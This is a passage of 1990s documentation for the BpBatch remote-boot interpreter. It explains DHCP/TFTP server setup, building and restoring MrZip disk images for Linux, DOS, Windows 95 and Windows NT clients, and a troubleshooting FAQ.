As BpBatch itself is quite powerfull, you wont need to use any PXE specific DHCP extension (menus, etc.). However, if your DHCP server is not able to show minimal PXE compliance, you will need a Proxy DHCP server or your PXE Boot ROM will not accept to go further.

On Windows NT, you can try to use Intel WfM PDK (available from their web site), but it is not very easy to use. We rather suggest having a Linux machine on the subnet and using our small Proxy DHCP. The major advantage of our Proxy DHCP Server for BpBatch is that our server will let you specify an option 155 vendor tag that will be interpreted by BpBatch as a command line.

On Linux and Solaris, you can run our Proxy DHCP program, that simply takes as argument the TFTP server IP address, boot file name and optional arguments, and does everything for you. If the DHCP port on the server is already requested by another daemon, the proxy DHCP server will run on port 4011. In this case, it is necessary that the other daemon on DHCP port answer a DHCP offer with client class PXEClient so that the PXE client knows that it must try on port 4011.

If you want to understand better PXE extensions to DHCP, there is an extensive description available on Intel WWW site. However, be warned that the documents are quite confusing, as the protocol has been extended to a number of optional stages, in order to allow for a maximal flexibility. The key to understand it is that all what a PXE client needs is a complete enhanced DHCP answer. If it receives only a standard DHCP offer, it will look further until it gets

  1. a client class (T60) set to PXEClient
  2. vendor encapsulated options (T43) (possibly empty, ie. hex ff)
  3. a non-empty boot filename
The PXE specific negociation ends as soon as all these infos are received, but can lead to a very complex process (install server discovery, etc.) if some are missing.

Setting up TFTP

The TFTP server is a very simple file server. In its basic version, TFTP use 512 bytes data blocks, which are quite inefficients. InCom TCP/IP Bootprom and PXE Boot ROMs allow to use larger blocks (1408 bytes), which speeds up transfers a lot. However, this can only work with an enhanced TFTP server.

On Windows NT, we suggest using InCom enhanced TFTP server, available on their web site.

On Linux, you can use our enhanced TFTP server, available at http://cuiwww.unige.ch/info/pc/remote-boot/soft/etftpd.tar.gz.

On Solaris, you should use InCom enhanced TFTP serer, available on the utility disk provided with the TCP/IP Bootprom.

If you prefer using a standard TFTP daemon, remove the P in all boot image name extensions, in order to tell the Bootprom to use only the standard TFTP port (This trick was introduced by InCom GmbH for the TCP/IP Bootprom. We still use it as an easy way to select the default TFTP port with PXE bootproms).

4.2 Client-side configuration

First, we will do set up the part common to all operating systems, ie. the batch-file interpreter. Then, for each operating system, we will go through the following steps:

  1. Setup a stand-alone client
  2. Save its configuration on the server
  3. Test it as a remote-boot client
  4. Adapt it so that it works for any similar client machine
Once this is done, you will be able to setup any supplemental client just by plugging a Boot ROM in it (or buying a Wired for Management ready computer...) and adding one line in the DHCP configuration file.

Our examples assume that you have a hard disk of 1.4 Gb or more. If you have less, reduce the sizes of the partitions, but remember the you need to leave a few hundreds megabytes unallocated (that is, the last partition must not take up to the last cylinder) to leave free room for the special cache partition. Moreover, as the cache always starts at the cylinder following the last allocated cylinder, if you do not use the same total size for all your tests, you will have to download several times the same files (the cache will be automatically cleared).

Never despair. If you can't get it to work, first look in the Troubleshooting section if your problem is not already solved (get the latest version from the Web). Then, take a look in the BpBatch forum. Perhaps someone else had the same troubles as you have, and the answer can be found in the forum. Forum's URL : http://cuiwww.unige.ch/info/pc/remote-boot/forum/. If it still does not work, think about monitoring network traffic for network related problems (use tcpdump on Linux or snoop on Solaris). If you really cannot get it to work, you can send an E-mail to David.Clerc@cui.unige.ch or Marc.VuilleumierStuckelberg@cui.unige.ch. If your problem is strictly related with the remote-boot configuration and if we are not overflowed, we will try to solve your problem.

4.3 Setting Up the Boot Process

Get the BpBatch software, either as .zip or as .tar.gz. The executables are available at

  • http://cuiwww.unige.ch/info/pc/remote-boot/soft/bpb-exe.zip
  • http://cuiwww.unige.ch/info/pc/remote-boot/soft/bpb-exe.tar.gz
The source code (Assembler and C) is also available on request.

In the server /tftpboot directory, put the following three special boot images, which together make our pre-boot batch file interpreter:

  • bpbatch.P, the dynamic loader (respect the uppercase !)
  • bpbatch.ovl, the relocated interpreter
  • bpbatch.hlp, the on-line help file
Then add an entry in the DHCP configuration file for your client, with the boot file set to "bpbatch.P". Define a vendor option tag 155 (decimal) with the value "-i" (on the standard DHCP server, this is done by the following command: option option-155 "-i";). It is interpreted by bpbatch as the command line, and -i stands for "interactive".

Boot the client computer. You might shortly see

  • The Boot ROM copyright
  • The string DHCP while the client waits for a DHCP reply
  • The string TFTP while the client waits for the first TFTP packet
  • The string Loading BpBatch while the loader download the interpreter
  • And finaly our banner, followed by a nice greather-than prompt
Congratulations ! You have started the batch interpreter... If you are curious about what you can do with it, continue reading the next section. If you are on a hurry, skip it and go directly install the operating system of your choice. If you have any doubt about a command within the interpreter, type help.

Note that you can run the same interpreter within DOS and Linux by running the MrBatch program. There are a only very few differences (the Linux version do not have graphics support and the DOS version can only send BOOTP and TFTP requests if the BootProm is not hidden by the operating system).

It may be a good idea to read now the section about the Syntax Rules of BpBatch, and in particular the paragraphs on File References and on The Cache Filesystem. This will help you understand the examples.

Once all operating systems will be set up, you will have to make a menu to let the user choose the one he wants. You should be able to discover by yourself how to make such a menu. All necessary commands are documented at the end of this document.

Discovering BpBatch

Try to type LogVars. You should get about thirty variables listed. Roughly, the first are BpBatch settings, then come all parameters extracted from the BOOTP/DHCP reply, and the last variable is a list of disks sizes, in Megabytes.

Type GetPartitions part, then LogVars again. There should be one more variable containing the list of defined partitions on your first hard-drive. Assuming that the first partition is either BIGDOS, FAT32 or LINUX-EXT2, try LogDir "{:1}" to get the content of the root directory, then LogDir "{:1}/usr" if there is an usr directory. You can even try LogTree "{:1}/etc" to get a directory tree.

Put a GIF file (format GIF-87a, interlaced or not, but NOT GIF-89a) on your TFTP server. We will suppose that the file is named image.gif. You can copy it wherever you want with the following command: Copy "image.gif" "{:1}/temp/image.gif". Or you can use it directly from the server. Now type Logvars "V*" and look at the value of the VESA variable. If it is On, which is most probable, that means you have a VESA-compliant video adapter. You can list the available video modes using Echo "$VESA-Modes". To display your image try the following command: DrawGif "image.gif". The image should be on the upper left corner of the screen. You can draw it on another place by specifying X and Y coordinates after the image name. You can also draw text with DrawText 200 200 "Hello world" yellow. Or draw an empty window with DrawWindow 200 200 300 150. To insert a title when you create a new window, try DrawWindow 200 200 300 150 "My Window". When you are tired of graphic mode, simply type CloseGraph.

Note on graphics : by default, all graphical routines work in the 800x600 VESA mode (with 256 colors), which is the first field of the VESA-Modes variable. If you want to use a different video mode, change the variable in order to have the requested video mode as the first field of the list.

Now take a text editor, and create a file named test.bpb in the tftpboot directory with the following content:

:again
DrawWindow 150 200 400 160 "Identity check"
TextAttr Black LightGray
At 15,20 Print "Username : "
Input username 8
At 17,20 Print "Password : "
Getpasswd userpass 8
if "$username" != "smith" goto again
if not "$userpass" match-passwd "BpR8oiIlRR9bo" goto again
#
clear
DrawWindow 200 200 150 100 green blue "Congratulations"
DrawText 220 250 "You got it !" yellow
WaitForKey 3
CloseGraph
interact
In your BOOTP/DHCP configuration, change the option-155 from "-i" to "test", and reboot the client computer. The small script should run automatically, and ask you for a username and password. If you do not type smith and justdoit, you wont be able to boot the computer. Later you will learn how to use a Unix, NT or Radius server to check valid user names.

4.4 Setting Up Linux

In order to set up Linux, you will need to boot the floppy disk provided with the RedHat Linux distribution. BpBatch includes a command that can redirect the boot to the floppy: FloppyBoot.

Set up RedHat Linux on your client, with network support, and any packages you may want. You may want to recompile the kernel to better fit your hardware, but it is not necessary.

Configuring the Client

It is probably a good idea to include BOOTP support to the kernel, so that you do not have to customize the client IP address manually.

In order to reduce network load, you might also want to setup the filecache for caching on the hard disk files that are loaded by NFS. Roughly, the principle of the filecache is that whenever a symbolic link from the cache subdirectory is followed, it is replaced by its target. If the target is itself a subdirectory, each entry of the subdirectory becomes a symbolic link to the original entry of the foreign filesystem. The filecache has been written by Unifix GmbH, and is part of Unifix Linux 2.0. It is freely distributable, and you can get the necessary files from http://cuiwww.unige.ch/info/pc/remote-boot/soft/filecache.tar.gz. In order to use the filecache, you have to

  • apply a patch to the kernel (file patch-filecache), enable filecache support through make config or whatever you prefer, and recompile the kernel
  • copy the filecache binary file to /sbin
  • create a mount point called /mnt/nfs (using mkdir)
  • copy filecache.conf to /etc. This file contains the following lines:
    Max 100 MB 50 % #
Cache /mnt/nfs/usr /usr
Cache /mnt/nfs/opt /opt
  • copy the content of /usr and /opt to the server, export them read-only with anon=0 (for allowing root access) and mount them under /mnt/nfs (add a line for that in /etc/fstab)
  • rename /usr as /usr.orig
  • link /usr to /mnt/nfs/usr
  • rename /opt as /opt.orig
  • link /opt to /mnt/nfs/opt
  • ensure that /usr and /opt are not empty and contains the correct directories
  • recursively remove /usr.orig and /opt.orig
  • copy filecache.init to /etc/rc.d/init.d
  • And finally link /etc/rc.d/rc3.d/S35filecache to /etc/rc.d/init.d/filecache.init
If you successfully followed each of these steps, you should have the filecache working next time you boot, as long as you do not forget to use your patched kernel.

Testing the Configuration

Copy your compressed kernel image (zImage, bzImage, vmlinuz or whatever you call it) to the server /tftpboot directory as linux.krn. If you had to unplug the bootprom from the PC, you can now plug it again. When BpBatch starts, type LinuxBoot "linux.krn" "root=/dev/hda1 BOOT_IMAGE=linux" (assuming that the root ext2 filesystem is on the first partition). Alternatively, if you did setup your configuration on a computer without bootprom, just boot let it boot using the loader you installed (lilo, ...). But in the later case, if you want the filecache to work, you should have explicitely installed your kernel with filecache support at the right place.

Wait until the system comes up. If you installed the filecache, you can check that /usr has exploded into a directory with some symlinks and some already-exploded directories. Now start the programs that the end-users will use most of the time, in order to load them once for all to the hard disk.

You can still make adjustements to your configuration, like on any stand-alone linux station.

Building the Disk Image

When you are happy with your configuration, login as root, go to the /tmp directory and run our mrzip program. MrZip is a command interpreter like BpBatch, but it can understand more commands than BpBatch does. In particular, it can understand the following commands:

showlog
filter -"tmp/*"
filter -"var/log/*"
fullzip "/" "/tmp/linux.imz"
This will create a disk image in /tmp/linux.imz. Move it to the server /tftpboot directory. Then copy the following batch file to /tftpboot/linux.bpb:
hidelog
setpartitions "linux-ext2:992 linux-swap:32"
fullunzip "linux.imz" 1
clean 2
linuxboot "linux.krn" "root=/dev/hda1 BOOT_IMAGE=linux"

The BOOT_IMAGE argument is to stay compatible with lilo for RedHat 5.1 and later rc.sysinit.

Your remote-boot linux configuration is ready ! You can now either set the BOOTP-option-155 to "linux", or type include "linux.bpb" from within BpBatch to test it.

System Maintenance and Upgrades

If you want later to upgrade software, install bug fixes and security fixes, proceed as follow:

  • Remote-boot a client computer to get a fresh linux install
  • Make your changes
  • Redo the disk image
  • Copy the new image in place of the old one on the server
That means, you can upgrade software on your server-based configuration as if it were a purely local install.

4.5 Setting up DOS 6 and Windows 3.1

On the client computer, boot on your favorite dos floppy disk (either remove the bootprom or type FloppyBoot within BpBatch). Format the dos partition of your hard-drive with the /S option, in order to put the operating system on it. The size of the partition is not important, as disk archives created with MrZip Create a DOS subdirectory, copy DOS in it. Install your favorite network client (for instance Microsoft LanManager), Windows 3.1, and so on. If you use Microsoft LanManager, do not use DHCP for the IP configuration as it is a very poor implementation that will almost surely fail with reasonable network load. To do that, add the following lines in your protocol.ref file, in the section that loads tcptsr (of course, replaces the xxx by your true IP parameters):

        IPADDRESS0 = xxx xxx xxx xxx
        SUBNETMASK0 = 255 255 xxx xxx
        DEFAULTGATEWAY0 = xxx xxx xxx xxx
        DISABLEDHCP = 1

Do not be afraid to use EMM386 to optimize the memory usage, and even to include the area where you put your network adapter ROM, since it is not used anymore at this time. But carefully exclude the network adapter RAM, or you will not be able to connect to your server. Use the NOEMS parameter.

If you want to ensure that the client machine cannot be used without a valid login name, download our nobreak pseudo-device driver (available at http://cuiwww.unige.ch/info/pc/remote-boot/soft/nobreak.zip) and run it at the beginning of your config.sys. Then add something like this to your autoexec.bat:

rem -- we use the dummy file c:\logged as a flag
del c:\logged >nul
:loginneeded
cls
echo Please type in your login name and password
echo.
net logon *
rem -- the login script should have created c:\logged
if not exist c:\logged goto loginneeded
del c:\logged
rem -- now enable break again
echo Yes >NOBRK

Ensure that your client boot well by rebooting the client and evaluating the following commands within BpBatch interactive mode:

        HideBootprom
        HdBoot

Building the Disk Image

On the server, make a share called admin for instance, on which you will put some stuff for the system administrator. If the server is a Unix machine, it is a good opportunity to put in admin a softlink to the /tftpboot subdirectory, so that you can put images in it directly from the client. Within admin, create a /utils subdirectory and put the following files in it:

  • mrbatch.exe, the DOS version of BpBatch
  • mrzip.exe, the DOS version of the program for building disk images
  • bpbatch.hlp, the on-line help file
You might also like to put in the same directory a simple MrZip script named zipdos.mrz file that contains the commands needed for building a DOS image, like this one:
showlog
filter -"lanman.dos/lmuser.ini"
filter -"temp/*"
filter -"*.swp"
fullzip "c:/" "L:/tftpboot/dos.imz"

Now go back to your client, mount the admin volume on drive L:, go to your utils directory and type the following command:

        mrzip -b zipdos

One minute later, you will have a new file in the server /tftpboot subdirectory called dos.imz, which is a compressed image of your hard disk. Copy the following batch file to /tftpboot/dos.bpb:

hidelog
setpartitions "bigdos:1024"
setbootpart 1
fullunzip "dos.imz" 1
hidebootprom
hdboot :1

Your remote-boot DOS configuration is ready ! You can now either set the BOOTP-option-155 to "dos", or type include "dos.bpb" from within BpBatch to test it.

Adapting the configuration for other machines

If you want to customize some settings according to the machine, typically the IP settings since Micro$oft DHCP is buggy, you can setup BpBatch to change some files before booting. Firsti go to the lanman.dos directory and do

        copy *.ini *.ref
Then edit the .ref files and replace all fixed parameters with BOOTP variable names as in the following examples:
        computername = ${BOOTP-Host-Name}
        ipaddress0 = ${MS-IPAddress}
        subnetmask0 = ${MS-IPSubnet}
        defaultgateway = ${MS-IPRouter}
Then rebuild the disk image as previously. Note that for IP parameters, we do not use the BOOTP variables directly because LanManager needs then as space-separated numbers instead of dot-separated numbers. Change dos.bpb to the following:
hidelog
setpartitions "bigdos:1024"
setbootpart 1
fullunzip "dos.imz" 1
set MS-IPAddress="$BOOTP-Your-IP"/.= /
set MS-IPSubnet="$BOOTP-Subnet-Mask"/.= /
set MS-IPRouter="$BOOTP-Routers"/.= /
patch "{:1}lanman.dos/protocol.ref" "{:1}lanman.dos/protocol.ini"
patch "{:1}lanman.dos/tcpputils.ref" "{:1}lanman.dos/tcputils.ini"
patch "{:1}lanman.dos/lanman.ref" "{:1}lanman.dos/lanman.ini"
hidebootprom
hdboot :1
If you prefer, you can also put the .ref files in the server /tftpboot directory instead of in the disk image.

We like to be able to easily change the computers configuration without rebuilding the image. To do that, copy your autoexec.bat and config.sys as autoexec.ref and config.ref to the server /tftpboot and add the following two lines to the batch file above:

        patch "autoexec.ref" "{:1}autoexec.bat"
        patch "config.ref" "{:1}config.sys"
You can then freely change the files and even customize them with machine-dependant values obtained from BOOTP.

After making any change to the client machine configuration, do not forget to rebuild the disk image using mrzip if you want to preserve your changes.

System Maintenance and Upgrades

If you want later to add new software or change anything else, proceed as follow:

  • Remote-boot a client computer to get a fresh install
  • Make your changes
  • Redo the disk image
  • Copy the new image in place of the old one on the server
That means, you can upgrade software on your server-based configuration as if it were a purely local install.

4.6 Setting up Windows 95

In previous versions of this document, we used the Microsoft server-based installation of Windows 95, but it was really too much pain and not much worth:

  • It is very, very bogus
  • Many software package do not support it and their install will fail. Among them, Microsoft Internet Explorer, OnNet 32, Novell's Protected-mode client (which is MUCH more secure than Microsoft Client for Netware).
  • It cannot be used with the Microsoft Network client over TCP/IP, since Microsoft provides no real-mode driver for TCP/IP compatibe with Windows 95. That means, it cannot be used with Samba
  • It makes software upgrades almost impossible since every client turned on will lock many DLLs on the server, and thus produce sharing violations if you try to upgrade them.
Consequently, we throwed away of this document all the informations and bug-workaround collected during months (you can still find them as a HTML document at http://cuiwww.unige.ch/info/pc/remote-boot/win95old/win95old.html) and turned to our new disk-based remote-boot concept. Basically, the configuration for Windows 95 is now almost as easy the configuration for DOS.

Setting up a Stand-Alone Client

Setup a regular Windows 95 client, either starting from scratch as explained in the configuration of a DOS client, starting from the DOS client and installing over the network (that is what we did). You can also start with a preconfigured Windows machine, but you will probably have less knowledge of what stuff is on the hard disk.

Proceed as described above for a DOS client. It is usually NOT necessary to use EMM386 with Windows 95. If you are using Windows 95 OSR2 (alias MSWIN 4.1, alias Windows 95 service pack 1, alias Windows 95 with Internet Explorer), you should add the following line in the [Options] section of MSDOS.SYS (yes, it is a text file):

AUTOSCAN=0
This will let Windows know that you do not want ScanDisk to be runned automatically at boot time.

If you want to reduce network and server load (which will improve your system performances) while keeping all softwares on the server, you should consider installing the excellent Shared LAN Cache, from Measurement Techniques, Inc (see http://www.lancache.com). This software runs on each client computer, and caches to the local hard disk every data obtained from the network. Even MS-Office starts much faster the second time you run it... You need one license per client computer, but it is not very expensive, and the firm make special prices for universities and colleges. The best thing to do is to go to their Web site and download the free evaluation copy.

Building the Disk Image

Your MrZip script will be named zipwin95.mrz and contain:

showlog
filter -"temp/*"
filter -"*.swp"
fullzip "c:/" "L:/tftpboot/win95.imz"

To build the image, mount the admin volume on drive L:, go to your utils directory and type the following command:

        mrzip -b zipwin95

A few minutes later, you will have a new file if the server /tftpboot subdirectory called win95.imz, which is a compressed image of your hard disk. If your compressed image was bigger than 87 MB, it has probably been splitted in two or more fragments. These fragments will automatically loaded one after the other when needed. Note that an image bigger than 87 MB will usually take More than one minute to uncompress and may irritate your users. Our Windows 95 image is only 70 MB big, because most software (except Office and Explorer) completely reside on the server. Only 45 seconds are needed to uncompress the image and restore the full disk.

Copy the following batch file to /tftpboot/win95.bpb:

hidelog
setpartitions "bigdos:1024"
setbootpart 1
fullunzip "win95.imz" 1
hidebootprom
hdboot :1

Your remote-boot Windows 95 configuration is ready ! You can now either set the BOOTP-option-155 to "win95", or type include "win95.bpb" from within BpBatch to test it.

Adapting the configuration for other Machines

The big difference between Windows 3.1 and Windows 95 is that the later includes code for Plug-and-play , ie. automatic detection of your hardware. This not a bad thing in itself, but the trouble is that it is often too sensible, and that it sometimes fails.

If you try to start another client with exactly the same boot image, you will probably get several messages during startup telling that Windows has detected new hardware: a new sound card, a new hard-disk, a new network card, and even a new mouse... There can be two reasons for that:

  • the devices may not use the same ressources (for instance the mouse is not connected on the same port, or the sound card is not connected in the same slot - yes, that is detected)
  • the devices may tell to Windows 95 their personal serial number (for instance, every Windows 95 differenciate every network card on the basis of its world-wide unique ethernet address)
The fact that Windows 95 discover that the hardware has changed may not be a problem if the plug-and-play works as-is, but it become a problem when the plug-and-play does not work. For instance, Windows 95 plug-and-play for our Logitech PS2/aux mouse does not work, and result in no mouse at all. To solve such kind of problems, arrange to have all computers as similar as possible, or make different images for different hardware. Later, you will discover that you can simply use the same image and just have several copies of the registery, that you can copy after having restoring the disk image but before booting.

The thing you cannot avoid to differ between computers is the network card. PCI cards usually do not mind, but ISA Plug and Play do. Bad luck for us, the plug-and-play code for our SMC EtherEZ card hangs the computer. The only solution is to let Windows 95 believe that it already know the network card, and that it is not necessary to trigger plug-and-play. The trick for doing that is to automatically insert an entry for the network card in Windows 95 registery, before starting it. Note that this trick is not any more needed with most PCI cards.

Move the autoexec.bat to the server as described above for DOS. Edit it (on the server) and add the following lines:

rem --- Patch Windows registery in order to avoid plug-and-play detection
regedit /L:c:\windows\system.dat /R:c:\windows\user.dat c:\temp\patch.reg
regedit is a standard Windows 95 program that let you browse the registery if you start it from within Windows 95, or do simple operations on the registery if you call it from DOS. Run regedit under Windows 95, search for your network card, usually under
        HKEY_LOCAL_MACHINE\Enum\ISAPNP
and export the branch using the File menu. This will create a text file, that you should same as patch.ref in the server /tftpboot diretory. Edit this file and find out where the card ethernet address is stored (do that on two different machines and compare the files if you can't find it by yourself). Replace it by a pettern in the form ${MACID}. Then add lines to the win95.bpb script like this:
        set macid = "$BOOTP-Client-ID"
        patch "patch.ref" "{:1}temp/patch.reg"
(do any necessary string manipulation for setting MACID if it is not exactly the client Ethernet address). That's all, your clients should not any more try to autodect the network card.

Once again, this whole trick is not necessary when using PCI network adapters. Incidentally, we can use the same mechanism for automatically configuring the hostname, which Windows 95 does not seem to take into account when configuring through DHCP. We just add the following line to our patch.ref file:

[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\VNETSUP]
"ComputerName"="${BOOTP-Host-Name}"

[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP]
"HostName"="${BOOTP-Host-Name}"

[HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\ComputerName\ComputerName]
"ComputerName"="${BOOTP-Host-Name}"

Using this small registery trick, your configuration should normally be portable for all machines with similar configurations. If you cannot avoid that Windows detect some hardware as new on one machine, try to rebuild the disk image from this machine. This will include the registery configuration specific to this machine into the image, and hopefully supress the problem.

System Maintenance and Upgrades

If you want later to upgrade software, install bug fixes and security fixes, proceed as follow:

  • Remote-boot a client computer to get a fresh install
  • Make your changes
  • Redo the disk image
  • Copy the new image in place of the old one on the server
That means, you can upgrade software on your server-based configuration as if it were a purely local install.

4.7 Setting up Windows NT

We do not use Windows NT for remote-boot client computers but we have tested our system to ensure that it work as well. And it works.

As our utilities currently have no support for NTFS (we neither have the documentation nor the time to do that, but I would be happy to help anyone who is interested in doing it), you will have to install NT on FAT16 (simply do not convert your partitions to NTFS during the setup).

Copy your win95.bpb boot script to winnt.bpb. Change the setpartitions line in winnt.bpb to the following:

        setpartitions "BIGDOS:512 BIGDOS:512"
Then boot Windows 95 using this script, and install your NT client on drive C. Do not worry about the second partition for now. Do not install too much stuff, or you will get a really large and slow-to-uncompress image. Remove Windows 95 from the disk disk C, you do not need it in a Windows NT image (the boot menu is handled by the bootprom, not by NT boot loader).

Reboot your computer in without overwriting the hard disk, ie. do not execute the winnt script but just

        hidebootprom
        hdboot
Your NT station should start-up correctly. Make any necessary customization.

Building the Disk Image

The trouble with Windows NT is that direct disk access is prohibed by the kernel. That means, MrZip will not even be able to read the boot sectors. The best way to do an image is then to boot Windows 95 and to run MrZip from a DOS window. To do that, change the winnt.bpb script so that the Windows 95 image is not restored on the first but on the second partition:

hidelog
setpartitions "BIGDOS:512 BIGDOS:512"
setbootpart 2
fullunzip "win95.imz" 2
hidebootprom
hdboot :2
(if you have any supplementary patch, change the "{:1}" to "{:2}"). Boot with this script; you should have Windows 95 running, but a new drive D: should be available, with Windows NT inside.

Make your disk image as usual (but on D:, of course), and save it as winnt.imz on the server /tftpboot directory. Edit one last time the winnt.bpb script like this:

hidelog
setpartitions "BIGDOS:512 BIGDOS:512"
setbootpart 1
fullunzip "winnt.imz" 1
clean 2
#fullunzip "win95.imz" 2
hidebootprom
hdboot :1
Your Windows NT remote-boot configuration is ready. Of course, if you do not like to have two partitions, you can setup a single partition instead. But when you have to rebuild the image, you will have to setup the second partition again for booting Windows 95.

System Maintenance and Upgrades

If you want later to upgrade software, install bug fixes and security fixes, proceed as follow:

  • Remote-boot a client computer to get a fresh install
  • Make your changes
  • Edit winnt.bpb: comment the clean and winnt fullunzip, uncomment win95 fullunzip
  • Redo the disk image
  • Copy the new image in place of the old one on the server
That's all, folks !

4.8 Troubleshooting (FAQ)

This section lists most frequently encountered problems.

The image download never ends

You are probably using a standard TFTP server, and it cannot handle more than 65535 packets of 512 bytes (or even 32767 packets for the Solaris server). That is, your image must be fragmented in pieces of no more than 30 MB (or 15 MB for Solaris). See under CopyArchive for instructions on fragmenting an existing image. But you should seriously thing about using InCom's extended TFTP server, as it is much more efficient (it uses packets of 1408 bytes instead of 512 bytes).

The archive decompression fails immediately

There are three possibilities. Either the image is really corrupted on the server (try use MrZip to see if it is the case), or the file transfer has failed because of TFTP timeout, or because of incompatible protocol.

TFTP timeout occurs when the network is too heavily loaded (for instance if you try to download a huge image with more than four clients at a time). In this case, BpBatch does not retry indefinitely because it would not help. Shut down a few computers and retry with no more than four computers (or maybe even three). If you often need to download images for a lot of computers, you can try our special Broadcast TFTP server (see the section dedicated to it).

Incompatible protocol is caused by using a standard TFTP server (typically the one built-in in your UNIX server) while asking BpBatch to work with enhanced TFTP. If you use a standard TFTP server, you should remove the .P extension (see the explanation in the next question).

The computer hangs instead of downloading/unzipping (1)

If you are using Incom's TFTP server, try to add -s 1408 59 to the command line. If you are not using an enhanced TFTP server, remove the .P extension from BpBatch filename on the server and in bootptab.

Detailed explanation : this problem occurs if you did not setup an extended TFTP server but you used bpbatch.P as the bootfilename DHCP/BOOTP tag. BpBatch will indeed try to connect to an extended TFTP server when the bootfilename ends with a .P extension. To solve this problem, you can either remove the .P extension at the end of the bootfilename (it will tell BpBatch to use standard TFTP) or install an extended TFTP server. The only supported extended TFTP server today is the one provided by Incom. You can find compiled binaries on their web site, or on our distribution directory. For Incom's TFTP server to properly work with the extended TFTP feature, you must add -s 1408 59 to the command line.

The computer hangs instead of downloading/unzipping (2)

May be your computer has a bad VESA support. Try giving the -v command-line argument or setting the VESA variable to "OFF".

VESA scrolling is broken

We use a VESA 1.1 function for scrolling. If your video adapter does not support VESA 1.1, forget it. If the scrolling works for one page, but then produces a strange strippled pattern, do not worry. This is a known bug, I will fix it as soon as I have time for it (VESA scrolling is not really essential...)

There is a corrupted file in the cache

When a file in the cache is corrupted by an external program, it is automatically removed from the cache. When a file in the cache is not fully written (because the computer is turned off during the file transfer), it is also automatically removed. But if the server transmits a corrupted file or if the transfer aborts from the server side, it is possible that this file stays in the cache. You can clean-up the cache simply by holding both shift down while BpBatch access it for the first time. Alternatively, you can evaluate clean -1 in interactive mode.

The EXIT command does not work in a batch file

This is not a bug. Exit is not a command. There is no exit or quit command because it does not make any sense to exit from a boot script without booting. And MrBatch is really the same program as BpBatch. What you can do instead is calling HdBoot. This makes sense, and the DOS version will cleanly exit instead of rebooting. Note that you can exit from the DOS version at any time by pressing Ctrl-Break. This will restore all hooked interrupts before leaving.

The Print command does not print

If you try to print something and immediately enter interactive mode, you may not see your text. This is because your text was written on the runtime screen and the Interact command has switched the display to the Log screen. Just put a GetKey after the print commands and you will see the text output.

MrZip says Malloc failed

MrZip needs a lot of conventional memory to run. If you encounter this problem, first ensure that you have unloaded the bootprom either using HideBootprom or using InCom's bputil. If you run MrZip from bare MS-DOS (not within Windows 95 DOS box), you should use EMM386 to load the network drivers high in order to get as much conventional memory as possible. From a Windows 95 DOS box, there is usually no problem (as long as you have not left your old 16-bit stuff in your autoexec.bat when you installed Windows 95).

MrZip aborts while reading directories

This bug has already been fixed once. Get the latest release of MrZip. If the problem persists, try to build your image with Trace set to "ON" (and usually PauseLog set to "OFF"); this will let you discover which file causes the problem. Send a detailled bug report.

MrZip cannot access some file

MrZip is probably trying to read a locked, open or special file, such as Windows swap file. Such files should usually not be included in the image and should be filtered out (using the filter command). It is also possible that the operating system is playing you a trick. If MrZip does not tell you what file causes the problem, try to build your image with Trace set to "ON" (and usually PauseLog set to "OFF"). You can also try to use direct disk access (that is, do not refer the source partition as "C:" or "/" but as "{:1}" or whatever partition it is). Using direct disk access is usually slower because we have less buffers than the operating system, but it may be sometimes more reliable.

Disk images are always reloaded from the server

Disk images are stored in the special cache area and should not be reloaded if they have not changed on the server. However, as the cache area always starts after the last used partition, changing the total size of partitions will move the location of the cache and thus destroy its content. Another possible reason for a file disappearing from the cache is that the previous file has grown more than one-and-an-half times its initial size. The file would then have been overwritten and need to be downloaded once again. This should almost never occurs. A third possible reason is a too small cache area. If the free space left outside the partitions is less than one-and-an-half times the sum of all compressed image sizes, only the most recently used images will be present in the cache and the other will have to be reloaded on demand.

Red Hat Linux 5.1 does not boot properly

This distribution assumes Linux was booted using lilo and checks for the BOOT_IMAGE command line argument (in /etc/rc.d/rc.sysinit). Simply add it in the linuxboot call, or change your rc.sysinit.

The broadcast TFTP ramdisk hangs (Got in bound state)

Linux dhcp client is a program that dynamically changes the IP address of the client according to DHCP offers. If the address is offered forever (infinite lease time), the DHCP client just set the address and returns (this is what we expect). However, if the lease time is limited, the DHCP client must remain loaded and ask for new addresses every few minutes. And if the DHCP client does not return, MrBatch will never be loaded... The solution is to give an infinite lease time (sometimes encoded as -1).

File access hangs under BpBatch, but not under MrBatch

This problem occured on an AMI BIOS dated 94/07/25. We investigated a little bit, and found no solution. It seems that this problem is due to a bug in this BIOS (some register or memory location must be destroyed).

Unzip of a fragmented archive fails (Malloc failed)

This problem was introduced with PXE compatibility, but has now been fixed. Please get the latest version.

MrBatch and MrZip complain about the terminal under RedHat 5.x

This problem has been fixed in the 9th of August version of MrBatch/MrZip. There was a problem with a new version of ncurses which has been released with RedHat 5.1.

"libncurses.so.3.0: cannot open shared object file" under Linux

MrZip has been linked to the version 3.0 of libncurses. You can use other versions of libncurses only if they are newer than version 3.0. To use a newer libncurses, all you have to do is to create a soft link from libncurses.so.3.0 to your libncurses.so.xx file. With RedHat 5.1, you can use the following command : cd /usr/lib ; ln -s libncurses.4.2 libncurses.3.0 You can also download a version recent version of mrzip/mrbatch. Starting from the 10/25/98, mrbatch is now compiled under RedHat 5.1.

MrBatch and MrZip do not start under Linux (file not found)

This problem is the reverse of the previous one. Now that the distribution is libc6 ready, it cannot be used any more with libc5. If you encounter this problem, simply upgrade your Linux box (Well, if we hear too much complaints, we might try to keep two distributions...).

I can not access other mode than the default 800x600 VESA mode

You should first display the contents of the VESA-Modes variable, to see if your hardware support the mode you would like to use. Then, try one of the two ways to select a special VESA mode :

  • InitGraph "mode": Try InitGraph "1024x768", and then run the graphical primitive you are interested in (e.g DrawGif).
  • VESA-Modes: The first field of the VESA-Modes variable is the name of the default mode. If you change the VESA-Modes variable, all graphical primitive will use the mode you specified.
BpBatch prints a "Malloc failed" message when restoring multiple fragments images

We corrected a bug in the memory allocation functions of BpBatch. You should make sure that you have a version of BpBatch which has been released after september the 22nd 1998.

Fullunzip using the Linux version of MrBatch always fails

We corrected this problem in the 09/22/1998 release.

Scandisk says my disk is corrupted

The 10/25/98 release did correct a problem with large images. Try to download a recent version of BpBatch.

My RedHat boot floppydisk does not work with FloppyBoot

This bug has been corrected in the 10/25/98 release.

My FAT32 disk image does not boot properly

This bug has been corrected in the 02/09/99 release.


